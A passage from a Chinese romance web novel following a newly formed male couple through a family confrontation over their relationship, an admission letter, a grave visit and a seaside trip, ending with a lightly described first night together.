水渍声不断在狭窄的空间里响起，简渲被裴渐亲得有些换不上气，他推了推裴渐，却推不动，反倒换来了更猛烈的亲吻。
裴渐的舌头和他的人一样烫烫的，简渲只觉得自己的舌尖不受他的控制，只能顺从着裴渐的动作。
简渲也不知道自己被裴渐亲了多久裴渐才松开他的唇，银丝在两人的唇间拉开，又很快断掉，裴渐双手搂着简渲的腰，又想抬头去亲简渲。
简渲这次反应过了过来，他伸出手捂着裴渐的唇，简渲被裴渐亲得说话都有些不利索，他脸颊鼓着：“你是亲亲狂魔吗？”
裴渐仰着头，看着简渲泛红的眼角，又有些忍不住，亲了亲简渲的掌心，随即点了点头。
看见裴渐点头，简渲抿着唇，松开捂着裴渐唇的手，从裴渐腿上起身，重新坐回了自己的位置，在裴渐再次想要凑上来接吻的前一秒率先开口：“我要剥夺你今天的亲亲权。”
见裴渐没有反应，简渲用手指戳了戳裴渐的脸颊，尾音带着被亲出来的上翘：“你听见没有。”
“一天太久了。”裴渐说道。
“两天。”
裴渐没再讨价还价，他给简渲系上安全带，然后亲了亲简渲的脸，小声说道：“这个不算亲亲。”
做完这一切以后才踩下了油门。
第58章 第 58 章 我怎么这么喜欢你啊
回到公寓后, 简渲就看见窝在玄关处的两只小猫。
简渲弯下腰，把蹭他腿的机车抱在怀里，转过身看着裴渐问道：“你怎么把小猫放出来了？”
裴渐从年初开始就忙了起来, 原本是打算今年暑假去裴知书的公司上班的，但是裴渐和裴知书因为性取向这个问题大吵了一架，裴渐也就开始着手自己的工作室。
简渲又在华京参加竞赛，就没人照顾咪咪和机车了，于是裴渐每天都在宠物房里放好七天的粮食, 把咪咪和机车都关在里面。
裴渐从简渲背后伸出手，把简渲抱在怀里，下巴抵在简渲的锁骨上，垂着眸看着简渲怀里的机车，用那双骨节分明的手揉了揉了机车的头，笑着说道：“他们也想看小主人。”
简渲偏了偏头，耳垂和裴渐的唇不小心擦到, 简渲连忙把头转了回去, 从裴渐怀里抽身，将怀里的机车塞到裴渐手里，“我抱咪咪。”
说完, 就把呆在一边抓地毯的咪咪抱在了怀里。
简渲抬起头, 看着裴渐，说道：“好了, 一人一只。”
裴渐笑了一下，挠了挠机车的下巴，应道：“嗯。”
简渲和裴渐都没有吃早饭，两人吃完早饭以后就窝在沙发上看电影。
看在咪咪和机车太久没有在客厅活动的份上，裴渐用平板打开一个软件, 放在咪咪和机车面前。
游戏加载完成以后，一条金黄色的小鱼出现在黑漆漆的屏幕里面，咪咪很快就用爪子在平板，下一秒，小鱼就消失了。
机车也有模有样地学着咪咪。
简渲的注意力从电影上分散，他的视线落在平板上，也伸出手去点了一下。
简渲眼睛弯了弯，重新转过头想去看电影，就和侧着头看着自己的裴渐对视上了。
“干嘛？”简渲理不直气不壮。
裴渐伸出手，把简渲搂在自己怀里，亲了亲简渲发顶，含着笑，“没事，就是觉得我好像养了三只小猫。”
简渲很快就反应过来裴渐说的他，他抓着裴渐的手指捏了捏，对上裴渐疑惑的眼神，简渲拉着裴渐的指尖，在平板上的小鱼上按了一下，然后骄矜地说道：“四只！”
裴渐笑了起来，他垂着眼，看着简渲一张一合的唇，偏了偏头，用自己的唇亲亲贴了一下。
简渲呆住，他整个人都蜷缩在裴渐怀里，只能用手肘肘击裴渐，“都说了，这两天不许亲我了。”
裴渐把简渲抱在怀里，鼻尖蹭了蹭简渲的脸，声音有些撒娇：“宝宝，忍不住。”
“你就不能控制一下吗？”简渲抬着头，看着裴渐。
裴渐伸出手，指尖按着简渲的唇，不轻不重地揉了几下，“喜欢男朋友，想亲。”
简渲对上裴渐有些情绪的眼睛，开始觉得自己是不是做错了，于是他仰着头，轻轻挨上了裴渐的唇。
在裴渐咬他唇的下一秒，简渲提前预判了，把自己的头低了下去，靠在裴渐的胸膛上，“看电影。”
裴渐垂着头，手掌挨着简渲的脖子，说道：“好。”
一场电影看完，裴渐没事干，就捏着简渲的手指玩，简渲的视线落在裴渐的右手上，原本在裴渐左手食指上的戒指出现在了裴渐的右手无名指上。
简渲用那只空闲的手摸了摸裴渐的戒指，“你怎么把戒指戴在这了？”
裴渐把手举在简渲眼前，把戒指取了下来，戴在简渲的手上，两人的指围差不多，带上去刚刚合适，“名草有主。”
简渲看着这个戒指，轻轻摸了一下，说道：“这个不好看。”
“我喜欢。”裴渐说道。
“为什么？”简渲虽然说着不好看，但是也没取下来。
裴渐笑了一下，摩挲着简渲的手上的戒指，“因为是你给我的。”
“那我去给你买个新的。”简渲眨眨眼，说道。
“浪费钱。”裴渐手里拿着手机，另一手握着简渲的手，也不知道在摆弄些什么。
简渲乖乖让裴渐弄着，闻言回答道：“你喜欢金的吗？”
“问这个干什么？”裴渐说道。
简渲把昨晚的事情大致和裴渐说了一下，然后继续问道：“我要着金条没用，我们去打一副金戒指。”
裴渐愣住，他垂眼盯着简渲，声音沙哑：“我们才在一起一天。”
准确来说，是一天都不到。
“我想让你带好看的。”简渲不明白裴渐的意思。
裴渐弯着眸子，捏着简渲的脸，“宝宝，你是要和我求婚吗？”
求婚。
简渲的确没有想到这层意思，他单纯想让裴渐带好点的戒指。
裴渐看见简渲神色就知道简渲压根没想到这层，他笑了一下，“这个就挺好看的，那些金条你存着吧。”
简渲只好点点头。
很快就到了中午，裴渐去做饭了，留着简渲一个人在沙发上看手机。
简渲没事干，想着看一下裴渐的朋友圈。
虽然知道裴渐的朋友圈没什么好看的。
除了那天自己给他送的生日礼物，就是那张照片。
简渲点开，愣住。
裴渐的朋友圈多了一条置顶。
【哥哥：only
（图片。）】
照片上的不是其他的，是简渲和裴渐缠握的手，简渲给裴渐的朋友圈点了个赞。
简渲拿着手机，走到裴渐身边，“你刚刚发朋友圈了吗？”
裴渐偏过头，“才看见？”
说完，就在围裙上擦了擦手上的水，打开看了一眼。
刚刚那条朋友圈已经有了很多回复。
【江概：？？？？？？？？？？？？？】
【姜敛：恭喜恭喜！】
【裴知书：滚回来！】
【于婉婷：你谈恋爱了？】
剩下的就是裴渐大学同学的祝福。
裴渐一一回了过去。
【PJ 回复了江概：？】
【PJ 回复了姜敛：谢谢。】
【PJ 回复了裴知书：？】
【PJ 回复了于婉婷：嗯。】
回复完后，江概的微信私聊就马上发了过来。
【江概：？？？？？？？？？？】
【江概：真让你追到了？？？】
【江概：他不是保送了吗？？？你不是说不在人家成年的时候谈恋爱吗？？？？？？？】
裴渐先抬起头，对简渲说道：“马上就做好饭了，去餐桌。”
在简渲走了以后，裴渐才开始慢慢回复江概的消息。
【PJ：别发问号了，看得我头晕。】
【PJ：昨天刚成年。】
【PJ：你怎么知道他保送了？】
江概的消息回复的很快，一看就是在蹲裴渐的回复。
【江概：畜生啊，刚成年就让别人和你谈恋爱？】
【江概：南附门口那个横幅现在还挂着，我见习还没结束，谢谢。】
【PJ：哦。】
裴渐没说是简渲和他告白的这件事，毕竟也没什么值得骄傲的。
【江概：吃午饭没有？】
【PJ：干什么？】
【江概：来蹭饭！】
【PJ：？】
裴渐没有得到江概的回复，也没再发消息。
他中午煲了鸡汤，盛在砂锅里端了出去，裴渐拿着勺子盛了一碗在简渲的碗里。
“尝尝看好喝吗？我第一次煲鸡汤。”裴渐问道。
简渲端着碗喝了一口，眼睛亮了亮，对裴渐说道：“好喝！”
说完，就站起身把自己的碗递到裴渐唇边，“你尝尝。”
裴渐笑了一下，对着简渲刚刚喝的地方喝了一口，“嗯，好喝。”
简渲当然也发现了裴渐喝的自己刚才喝的地方，他没说话，重新坐了下去，换了个边缘重新喝了起来。
裴渐刚想在简渲身边，下一秒，门铃就响了起来。
“门铃响了。”简渲说道。
裴渐往自己碗里盛了点汤，又往简渲碗里夹了个鸡腿，然后才开口：“不用管。”
果然，门铃没有再响了，但是裴渐手机的微信提示音响了起来。
简渲最后还是站起身，去把门打开了。
打开门，简渲就和江概对视上了。
“你”江概抬起头，见是简渲来开门，浑身的气焰才软了下去，“我来蹭饭。”
简渲点点头，把门打开。
江概走了进去，就听到裴渐的声音响起：“让你来蹭饭了吗？”
江概连忙走到在裴渐对面坐下，趁着简渲还没回到座位上，用只有两人能听到的音量开口：“你不清楚我到底是不是来蹭饭的？”
简渲重新坐在裴渐身边，他看了眼碗里多出的一大堆鸡肉，夹了几块到裴渐碗里，小声说道：“我吃不完。”
裴渐也没勉强简渲吃。
“自己去拿碗。”裴渐说道。
简渲知道裴渐不是对他说的，也没回应。
江概拿了碗，几人就这么诡异地吃完了一顿饭，最后江概还是忍不住开口了：“你俩，谈恋爱了？”
裴渐没说话，只是把视线落在江概身上。
简渲倒是很平静，他猜都能猜到是江概看见了裴渐那条朋友圈，他轻轻点了一下头，说道：“嗯。”
“你们怎么在一起的？”江概有些好奇。
简渲刚想继续回答，裴渐就把简渲的脑袋按在了自己怀里，他挑了挑眉，看着江概：“我们俩的隐私，干嘛告诉你？”
江概见简渲也没有要反抗裴渐的意思，他看了眼时间，说道：“行行行，我不打扰你们的二人世界了。”
江概走了以后，裴渐才松开按着简渲头顶的手，他捏了捏简渲的脸，说道：“你不要什么都说。”
简渲瘪着嘴，说道：“我就是想说不告诉啊。”
裴渐托着简渲的脸，轻轻挨了一下简渲的唇，“我错了。”
下午没什么事情做，简渲和裴渐都有些无聊。
简渲窝在沙发上，他抬着头看着同样也有些无聊的裴渐，说道：“你没忙工作吗？”
“工作室在华京，我找了个合伙人，他在那边负责，我就闲下来了。”裴渐解释道。
“靠谱吗？”简渲问道。
裴渐知道简渲在担心自己被坑，“大学的时候认识的研究生学长。”
“好。”简渲点点头，说道。
“对了，你是不是想大二转专业？”裴渐问道。
简渲轻轻点了一下头。
“什么专业？”裴渐偏过头，看着简渲问道。
简渲弯了弯眼睛，说道：“医学。”
裴渐颔首，他明白简渲想读医学的原因，也没多提，而是说道：“在家无聊吗？”
“无聊啊。”简渲的指尖捏着沙发的，时不时扯一下。
“之前和你说的，旅游，去不去？”裴渐问道。
简渲抬起头，问道：“可是有五个月。”
裴渐笑了一下，把手机递到简渲面前，“我做好攻略了，国内很多景点，一个景点一周，慢慢玩，差不多。”
裴渐的旅游攻略写在备忘录上的，简渲随便看了几眼，就把手机还给了裴渐，说道：“可以的。”
“那第一站，就去江城？”裴渐问道。
简渲点点头，“可以。”
“什么时候去？”裴渐打开手机开始看飞机票。
“录取通知书到了再去吧？”简渲说道。
“好，那我买后天的？应该明天就到了。”裴渐把买票的界面拿给简渲看了一眼。
简渲应了声好。
裴渐上次就记住了简渲的身份证号码，很快就买好了，裴渐刚想把买好的机票界面给简渲看，门铃就又响了起来。
裴渐这次确实不知道是谁，他没去开。
“今天怎么这么多人找你？”简渲问道。
裴渐皱着眉，“不知道。”
门铃持续地响着，听着有点烦，裴渐轻啧了一声，起身去开门。
刚打开门，就看见了满脸怒气的裴知书，和在身后一脸无奈的于婉婷。
“你真要当同性恋？！”裴知书怒吼道。
于婉婷在裴知书身后劝着他：“你冷静一点行不行？”
“你那个男朋友呢？让他给我出来！”裴知书继续说道。
裴渐的手按着门口，声音平静：“我觉得没必要。”
“那什么才是有必要的？”裴知书继续说道。
裴渐呼出一口气，刚想继续说话，下一秒，裴知书从裴渐的手下钻了过去，裴渐拦都拦不住，裴知书边进去还边说：“不让我进去？你才谈恋爱就和别人同居？”
裴知书走过玄关，脚步停在客厅。
裴渐跟上去栏裴知书，于婉婷也只好跟着走了进去。
于婉婷走到大厅以后，愣住的人从裴知书变成了她和裴知书。
如果她没有看错，坐在沙发上呆住的人是她刚刚被保送的学生。
玄关和客厅有点距离，加上裴渐的公寓隔音做的很好，简渲根本就没有听见大门口的争吵。
所以裴知书进来的时候简渲还只是有点懵，直到于婉婷走了进来，简渲才发现这是裴渐的父母。
简渲的心乱了一瞬，呆在原地突然有些不知道该怎么动。
裴渐看了眼愣住的三人，走到简渲身边，对简渲说道：“我和我爸妈有点事，你先回房间。”
简渲呆呆地点了下头。
裴知书最后也没有拦住简渲。
客厅里最该留住的人不在了，裴渐坐在沙发上，看着裴知书，说道：“不是要看我男朋友吗？怎么不说话呢？”
于婉婷也愣住了。
她没想到裴渐喜欢的人是简渲。
但想想，好像又很正常。
于婉婷想起了国庆那次。
她从来没见过，自己的儿子会因为一个人突然的失联而情绪失控。
裴知书这时才回过神来，他走到裴渐面前，深呼吸一口气：“你告诉我，你男朋友多少岁？”
虽然简渲这段长高了不少，也长了些肉，但不妨碍简渲这张脸显小。
裴渐看向于婉婷，说道：“妈，你和他说吧，我现在不想说话。”
于婉婷走到裴知书身边，说道：“应该成年了。”
裴知书看向于婉婷，问道：“你怎么知道？”
“他男朋友，就是我和你说那个，班上保送京大的男生。”于婉婷解释道。
“裴渐，你要不要脸？勾搭你妈的学生？”裴知书指着裴渐说道。
裴渐刚想开口，下一秒，一道不属于客厅三人的声音响起。
“叔叔，我很喜欢裴渐。”简渲从卧室里走了出来，站在过道上说道。
也不是简渲故意偷听，他只是单纯有点想上厕所，刚打开卧室门缝就听到了裴知书这句话。
简渲一句话把所有人的注意力都吸引到了他自己身上，裴渐起身，走到简渲身边，旁若无人地问道：“怎么出来了？”
简渲抿抿唇，说道：“想上厕所。”
说完以后，简渲再次抬头，看着裴知书说道：“叔叔，如果您接受不了，我们也不会分手的。”
裴知书捏了捏山根，他向来喜欢乖巧聪明的孩子，对着简渲也说不出重话：“你们才在一起多久就说着要长长久久了，而且你们是两个男生，你知道社会有多不包容”
“我不在乎的，我只是想和喜欢的人在一起。”简渲拉紧了裴渐的手。
裴渐给他戴上的那个戒指还戴在简渲的手指上，两人的手交缠上，冰冷的指环有些硌人。
裴知书的话顿住，他看着简渲，说道：“喜欢吃不了饭的。”
“可我不需要靠喜欢吃饭。”简渲继续说道。
他像一个面对自己喜欢的玩具固执的要命的小孩，说什么也不肯放手。
裴渐感觉到简渲握着他的手紧了紧，他反握了回去，说道：“嗯。”
裴知书看着两人交缠的手，突然不知道该说些什么，他闭了闭眼，“我还有工作，走了。”
于婉婷在裴知书走后才开口：“他就是担心你们被人瞧不起，脾气不好，语言也过激，别管他，我尊重你们，儿子，好好对人家。”
裴渐嗤笑一声：“哪是脾气不好，我看是臭脾气死古董。”
“和他说什么，走了！”裴知书的声音在门口响起。
于婉婷笑了一下才走。
客厅里再次冷清了下来，裴渐伸出手，把简渲紧紧抱在了怀里。
简渲反抱住裴渐，“怎么了？”
“我怎么这么喜欢你啊。”裴渐的脸埋在简渲的颈窝。
“我也喜欢你。”简渲说道。
裴渐抬起头，双手托着简渲的脸，“可以解除亲亲限制吗？”
简渲没想到裴渐还记得自己早上开的玩笑，他弯了弯眼睛，仰着脑袋挨上了裴渐的唇。
刚刚挨上，裴渐就反客为主亲了上去。
一吻结束。
简渲有些喘不上气，他抱着裴渐，在裴渐的脖子上蹭着，“哥哥。”
“嗯？”裴渐问道。
“我昨天听了一段听力，听不懂。”简渲说道。
裴渐的脖子贴着简渲的发丝，他捏了捏简渲的耳垂，说道：“什么？”
“You don''''t have to rush to warm， strong， brave to me， because I am too greedy， I need not those things I seem to lack， I need you.”
男生的口音很顺畅，又带着不被察觉的依赖和软糯。
裴渐听到这段话以后，捏着简渲耳垂的手顿住。
他当然听得懂。
[你不必急着把温暖、坚强、勇敢分给我，因为我太贪心，我需要的不是那些我看起来缺乏的东西，我需要你。]
“我也是。”裴渐说道。
裴渐说完这句话的下个瞬间，简渲的唇就凑了上来。
翌日。
简渲的录取通知书在中午就寄到了，简渲和裴渐在小区外面签收了录取通知书。
简渲拆开快递，把录取通知书拿了出来。
录取通知书的设计很繁密，简渲打开以后，几行字映入眼帘。
【简渲同学
恭喜您被华京大学数学专业录取！】
简渲看着通知书上的字，抬起头看着裴渐。
“怎么了？”裴渐问道。
“我想去看奶奶。”简渲说道。
裴渐明白简渲的意思，他点点头，“好，现在就去。”
到了墓地的时候已经是下午了，简渲手里拿着录取通知书，手里还拿着百合花，简渲把百合花放在墓碑上，然后蹲在墓碑前，说道：“奶奶，我考上华京大学了。”
“妈妈找到我了，妈妈过的很好，你以前总担心她，现在我来告诉你了，还有，简崇因为吸.毒进去了。”简渲抚摸着墓碑，说道。
“奶奶，还有个事，想要和你说。”简渲站起身，走到裴渐身边。
裴渐似乎感觉到简渲要做什么，他下意识握紧了简渲的手。
“奶奶，我谈恋爱了，我现在很幸福。”
第59章 第 59 章 第一次
取到录取通知书的第二天, 裴渐把两只小猫托了江概帮忙照顾，就和简渲登上了去江城的飞机。
下飞机的时候已经上午十二点了，两人先去了预订好的民宿, 由于不是旅游旺季，民宿的人不是特别多，两人把行李放在民宿以后就出去吃饭了。
简渲想吃江城的特色海鲜，裴渐就带着简渲去吃了。
裴渐在手机上搜索了评分比较高的海鲜店，就带着简渲去了。
两人挑了个包厢, 裴渐把菜单递给简渲，轻声说道：“想吃什么自己点。”
简渲看着菜单上的菜，抬起头看了眼裴渐。
裴渐挑了挑眉，把脑袋凑到简渲身边，问道：“怎么了？”
简渲指着菜单上的一个菜名，“生腌皮皮虾，好吃吗？”
裴渐不爱吃生的, 他觉得有细菌, “我没吃过，想吃就点。”
简渲最后还是点了一份，最后再点了几只螃蟹和三文鱼。
他和裴渐的饭量都不算特别大, 更何况等会出去玩肯定是要买吃的的, 没必要吃太多。
等上菜的途中简渲就在软件上搜索江城的旅游攻略，虽然裴渐做好了, 但简渲也想自己看看。
他看了几眼，视线落在最后一行上。
简渲把手机放在裴渐眼前，说道：“晚上要不要去这里？”
裴渐看着眼前的手机，把简渲手机屏幕上的字念了出来：“篝火大会？”
简渲把手机收回，点点头说道：“对, 就在宁海边的沙滩上，你想去吗？”
裴渐垂着眼，看着简渲期待的眼神，裴渐笑了一下，应道：“好。”
见裴渐答应了下来，简渲开始在手机上搜索宁海篝火大会的词条。
刚点击搜索，一大堆照片就弹了出来，简渲把照片举在裴渐旁边，“好看。”
裴渐的手捏着简渲的肩头，他偏了偏头，亲了亲简渲的脸，说道：“那就去看。”
简渲继续把搜索到的照片给裴渐看，两人看照片的间隙江城的特色海鲜也被送了上来。
简渲第一眼就去看他点的生腌皮皮虾，他看着有些透明的虾肉，抬起头看了看裴渐。
“怎么了？”裴渐问道。
“你要吃吗？”简渲拿着筷子戳了戳虾肉。
裴渐虽然不爱吃，但也没多抵触，他夹了一条虾咬了一口，虾本身没什么味道，但酸辣的蘸料中和了虾的嫩滑，尝起来还挺不错。
“还可以。”裴渐说道。
简渲侧着头，就着裴渐的筷子吃了一口裴渐筷子上的虾，眼睛亮亮的，“好吃。”
裴渐垂着眼看着简渲，男生眼里的开心有些藏不住，他剥了只螃蟹弄到简渲碗里，“好吃就多吃点。”
两人吃完发已经是两点了，现在出去也能玩一会，简渲拉着裴渐就走了。
裴渐按着做好的攻略带着简渲到处玩，两人在路上没带水，就打算去小卖部买瓶水喝。
走到附近的小卖部，简渲随手挑了两瓶饮料，打算去结账，结账的路上简渲的目光落在一个地方。
裴渐就在小卖部门口等简渲，看见简渲结完账出来，他走上前拉住了简渲的手腕。
简渲递了瓶饮料到裴渐手里，说道：“给。”
裴渐接过饮料，视线落在简渲另一只手上，顿了顿，然后问道：“想吃辣条了？”
简渲点点头，把水瓶放在包里，撕开辣条的包装，率先挤出几根辣条递到裴渐唇边，“喏。”
裴渐咬了一口，没吃多少，就推回给了简渲，“你吃吧。”
简渲的注意力停留在裴渐的神色上，直到看见裴渐微蹙眉吃下去以后，简渲终于开口了：“你不爱吃辣条吗？”
裴渐见被简渲看穿，点点头，也没否认：“嗯。”
“那你之前为什么要吃？”简渲问道。
裴渐笑了一下，“因为不舍得拒绝你。”
简渲眨了眨眼，心口痒了一下。
后面简渲和裴渐去了4A级景区的打卡点，简渲和裴渐都不爱自拍，都是在拍风景。
于是简渲看见裴渐的朋友圈再次更新了。
文案是一个爱心的emoji。
简渲也学着裴渐的朋友圈，有模有样地发了一条出去。
和裴渐的爱心emoji有点区别，简渲发的是被箭射中的爱心emoji。
裴渐自然也看见了简渲的朋友圈，他给简渲的朋友圈点了个赞。
等去了两个景点，已经快五点了，简渲和裴渐在观光线搭了一辆观光车去看海。
简渲和裴渐到宁海边的时候已经有不少人了，沙滩上都是篝火堆，还没有点燃，海边有不少海鸥，简渲举着手机拍了张照片。
简渲刚按下拍摄键，下一秒，耳边就响起相机的咔嚓声。
简渲偏过头，就看见裴渐举着手机，摄像头对着他。
手机后的男人眉眼含笑，简渲收起手机，走到裴渐旁边，“你干嘛偷拍我。”
裴渐听着简渲有些撒娇的语气，笑了一下，“漂亮宝宝，有点忍不住。”
自从和简渲在一起以后，裴渐就喜欢喊简渲宝宝，简渲也从一开始的害臊变得慢慢习惯，甚至在听见裴渐这么喊自己以后，简渲会去踢裴渐。
简渲看了眼裴渐相册上的自己，还没开口，就目睹着裴渐把这张照片设置了手机壁纸。
屏保和壁纸都是简渲的那张照片。
照片里的男生穿着白色的衬衫，衣角被海风吹得微微扬起，发丝贴着脸颊，眼尾弯着，笑意从这张照片里都能溢出。
简渲重新拿起手机，拍了张裴渐的照片，然后又抿着唇删掉这张照片。
裴渐把简渲的动作放在眼里，他没看见简渲拍的那张照片，问道：“怎么了？”
简渲把手机熄屏，“不好看。”
“想不想去喂海鸥？”裴渐问道。
简渲点点头，“好。”
两人去小报亭买了包饲料，简渲把饲料放在掌心，很快，好几只海鸥就落在简渲的掌心不停啄着。
简渲的掌心有些痒，他想收回手，海鸥却追了上来。
简渲的指尖缩了缩，直到掌心的饲料被吃完，海鸥才飞走。
裴渐垂着眸，看着简渲通红的掌心，把简渲的手扯到自己面前，“疼吗？”
简渲摇摇头，“不疼，就是有点痒。”
“下次喂的时候用纸垫着，万一咬你怎么办？”裴渐的指腹在简渲通红的掌心摸了一下。
简渲应了声好。
简渲后面就听了裴渐的话，在掌心垫了张纸巾。
喂了会海鸥以后简渲和裴渐就去看海了，简渲玩了会水，等到到了蓝调时刻，海边昏黄的落日在海水上摇晃着，沙滩上的篝火被工作人员点燃。
简渲和裴渐的身边就有团篝火，简渲拿着手机拍了张照片。
裴渐就陪着简渲在沙滩上站着，站了一会，简渲站累了，两人就在沙滩上就地坐下。
简渲托着下巴，看着坐在篝火边的裴渐，心头微微一动，在裴渐没注意的时候拍了张照片。
天还没黑完，是微微蓝的，和篝火的橙色形成鲜明的对比，裴渐就垂着头看着沙滩。
简渲把照片设成壁纸，刚抬起头，就看见裴渐盯着他。
简渲下意识有些心虚，想把手机往身后藏，但又反应过来自己又没做什么见不得人的事情，他理直气壮地问裴渐：“你看我干什么？”
裴渐从简渲拍照的那一刻开始就注意到了，他笑了笑，也没拆除简渲，用自己的手握着简渲的，两人的食指相抵，裴渐引着简渲的指尖在沙滩上写着什么。
简渲一开始还没看出来裴渐在写什么，等到裴渐写了两个字符以后，简渲才反应过来，他后面没让裴渐写，而是自己掌握了主权，写了上去。
简渲指尖的动作停下后，一行字母就出现在沙滩上。
PJ（爱心）JX
后面的字母和前面的有些不一样，简渲写完后就拿着手机拍了张照片，刚拍完，海水就涨潮了。
海水褪去后，原本写了字母的沙滩再次变得平整。
简渲抿着唇，有些不开心。
裴渐捏了捏简渲的指尖，轻声说道：“我们的约定不会因为海水就消失的。”
简渲知道，只是有点不开心。
他刚想和裴渐解释，一滴有些湿润的水就落在简渲鼻尖。
观光线上的广播响起：“各位旅客居民，由于天气预报错误，五分钟后将有雨，请各位旅客居民撤离，很抱歉给各位带来不好的体验。”
裴渐看着神情呆住的简渲，伸出指尖擦掉简渲鼻尖的水滴。
原本广播说的是五分钟后有雨，结果简渲和裴渐刚走到观光线上就下起了雨，两人身上都湿了不少，打到车以后就回了民宿。
简渲和裴渐走进民宿，两人身上都有些湿了，简渲看着裴渐：“你去洗澡吧。”
裴渐把行李箱里的毛巾拿了出来，擦了擦自己的头发：“我不急。”
裴渐下午穿着外套，刚刚下雨的时候他把外套盖在简渲头上了，简渲身上倒没太多雨，只有裤脚上，裴渐身上淋湿得更严重。
简渲站起身，推了推裴渐，说道：“你去洗。”
裴渐还想推辞，但对上简渲有些不开心的眼神，也只好认输了：“我快点洗完，你先擦一下头发。”
简渲接过裴渐手里的毛巾，点点头，“好。”
两人都带了自己的洗漱用品，裴渐和简渲都有点洁癖，不爱用酒店的东西。
裴渐拿了浴袍以后就去了浴室。
简渲擦了几下头发，他头发不算湿，很快就干了，他有些无聊地躺在民宿的沙发上望着天花板发呆。
发了几秒钟呆，简渲又从沙发上坐起身，走到浴室门口对裴渐说道：“我想看看你手机上的攻略。”
很快，裴渐的声音就从浴室里面传来：“好，密码是0321。”
简渲眨了眨眼，小声哦了一声就把裴渐放在桌上的手机拿了起来。
裴渐的手机界面很干净，除了几款游戏就只有社交软件，简渲记得裴渐做的攻略是备忘录上的。
他打开裴渐手机里的备忘录，却突然愣住。
备忘录的置顶，如果他没看错，标题是《喜欢》
明明不该去看裴渐写了什么，简渲却还是有些控制不住地点了进去。
入目的第一条就是：
【九月九日：
我喜欢简渲。】
【九月十日：
他好可爱。】
【九月十二日：
老天爷，这辈子只喜欢他了。】
【十月三日：
他不理我了。】
【十月四日：
他拉黑我了，发生什么了。】
【十月七日：
找到他了，如果可以，希望我能把前面十七年的幸福都给他。】
【十月八日：
好想和他告白，可是我该先让他感受到其他的感情。】
后面密密麻麻地字简渲有些看不清了，他觉得自己眼睛有些酸，简渲也不知道自己翻了多久。
直到看见最后一条。
【三月二十一日：
他和我告白了，该是我先告白的。】
至此，不知道记录了多久的备忘录停留在这段话上。
洗完澡的裴渐也从浴室里面走了出来，他显然忘了还有这条备忘录这件事，走到简渲身后，问道：“看了吗。”
简渲连忙退出这条备忘录，随手点开下面的一条攻略，递还到裴渐手里，他垂着头，去行李箱里拿出自己的浴衣，说道：“那我洗澡去了。”
说完，就急匆匆地跑进了浴室，只留下裴渐和他手机还亮着的手机。
裴渐垂眸，看着备忘录上的字。
[云城攻略]
简渲跑进浴室以后就打开了热水，但他没去洗澡，而是撑着手站在洗手台前。
他以为裴渐说的“你去我家的第一次”是他搬去裴渐家里住的那天。
可事实告诉简渲，比简渲想象地还要早。
裴渐从一开始就喜欢他了。
可他从来没发现过。
简渲整理了一下思绪，才脱掉衣服去洗澡。
他刚换好浴袍，打开门出去，就和站在浴室门口的裴渐撞上了。
裴渐靠在浴室旁边的墙上，手里还拿着手机，见简渲出来，裴渐问道：“看见了？”
简渲知道裴渐在问什么。
他轻轻点了一下头，声音有些哑：“你”
裴渐笑了一下，走上前把简渲抱进怀里，“和你在一起以后就没写过了，想珍惜现在，我都忘了这个了，结果被你看见了。”
“你怎么看见的？”他不是切了回去吗？
裴渐的笑声在简渲耳侧响了起来，声音又有些柔和：“宝宝，你点开的是云城攻略。”
简渲呆住，他确实没看，他推了推裴渐：“你先松开。”
裴渐的脸颊在简渲颈窝不停蹭着，声音有些缱绻：“想亲你。”
简渲耳根有些红，裴渐很少直白地说想亲自己，这是第二次，他偏了偏，轻轻贴了一下裴渐的唇，快速说道：“好了吧？”
裴渐大概还有些不满足，追上了简渲的唇，张开唇就咬上了简渲的下唇，他轻轻舔了一下。
简渲揪着裴渐身上的浴袍，张开了自己的唇，任由裴渐长驱直入。
这次亲吻格外的久，简渲的腿都有些麻了，裴渐松开他的一瞬间，简渲有些站不住，不自觉地就往低下滑。
裴渐伸出手搂住了简渲，单手托着简渲的脸，继续亲了上去。
简渲被吻得有些喘不上气，他拍着裴渐的腰，结果却换来更猛烈地亲吻。
简渲的手也渐渐变得有些无力，原本贴着裴渐腰腹的手失力地往下滑。
然后触及了一个很烫的地方。
下一秒，裴渐的亲吻止住。
他松开简渲的唇，额头抵着简渲的唇，轻轻咬了一下简渲的脸：“我去洗澡。”
那股触感还停留在简渲的掌心，简渲觉得自己的手有些麻麻的，脑子被裴渐亲得有些发懵，却在裴渐转身去浴室的那秒伸出手拉住了裴渐。
裴渐扯下简渲的手，声音有些哑：“宝宝，我去洗澡。”
简渲扯住裴渐的衣角，耳根有些红，声音倒很大：“你来吧。”
裴渐愣住，他看着闭着眼似乎想要逃离这种窘境的男生，“你太小了，我心疼。”
“我愿意的，我想不到对你好的了。”简渲的声音又小了起来，但又有些坚定。
裴渐眉眼弯着，他指尖挨上简渲有些发烫的脸颊，“宝宝，我爱你，这是不需要偿还的，我们是平等的。”
所以你不用自卑，不用想着偿还。
话音落下的下一秒，嘴唇就被柔软的触感贴上，简渲的舌尖试探性地往裴渐的唇缝里伸，含含糊糊地说道：“我自愿的，哥哥。”
简渲话刚说完，裴渐就重新掌握了主权，双掌托着简渲的脸，不停咬着简渲的唇。
裴渐不仅唇烫，每个地方都是烫的。
这是简渲大半夜得出来的结果。
简渲在被弄迷糊了几次以后再次清醒了过来，他揪着身上男人的头发，声音带着根本压抑不住的呜咽：“你不是心疼我吗？”
裴渐的动作顿住，他垂着眸，那双雾蓝色的眼睛在黑暗中也格外明显，裴渐动了一下，听到简渲的声音以后才开口：“宝宝，你很舒服的。”
简渲也不知道自己什么时候睡着的，又或者说，他压根不知道自己这个晚上睡没睡。
简渲第二天醒来的时候外面已经有太阳了，简渲动了动，动不了，然后才发现自己的腰上横着一只手。
裴渐的胸膛就抵着他的后背，简渲低头看了一下，睡衣已经穿上了，大概是裴渐良心发现给他换上的，简渲抬起胳膊想起身，睡衣的衣袖随着简渲的动作往下滑。
简渲一抬头，就看见自己的手臂上都是青紫的吻痕，手腕上手指的印记更加明显。
简渲刚想坐起来，就被人重新搂回了床上，裴渐的脑袋就埋在简渲的颈窝，声音懒洋洋地：“再睡会。”
简渲掐了掐裴渐的腰，“你硌着我了。”
裴渐把简渲换了姿势抱着，两人面对着面，“这样就可以了。”
“这样不是也硌着吗？”简渲挪了挪自己的身子。
裴渐把简渲的腰紧紧搂着，说什么也不肯让简渲起床：“宝宝，它等会就下去了，再睡会，五点才睡呢。”
“你还记时间？”简渲有些不可思议。
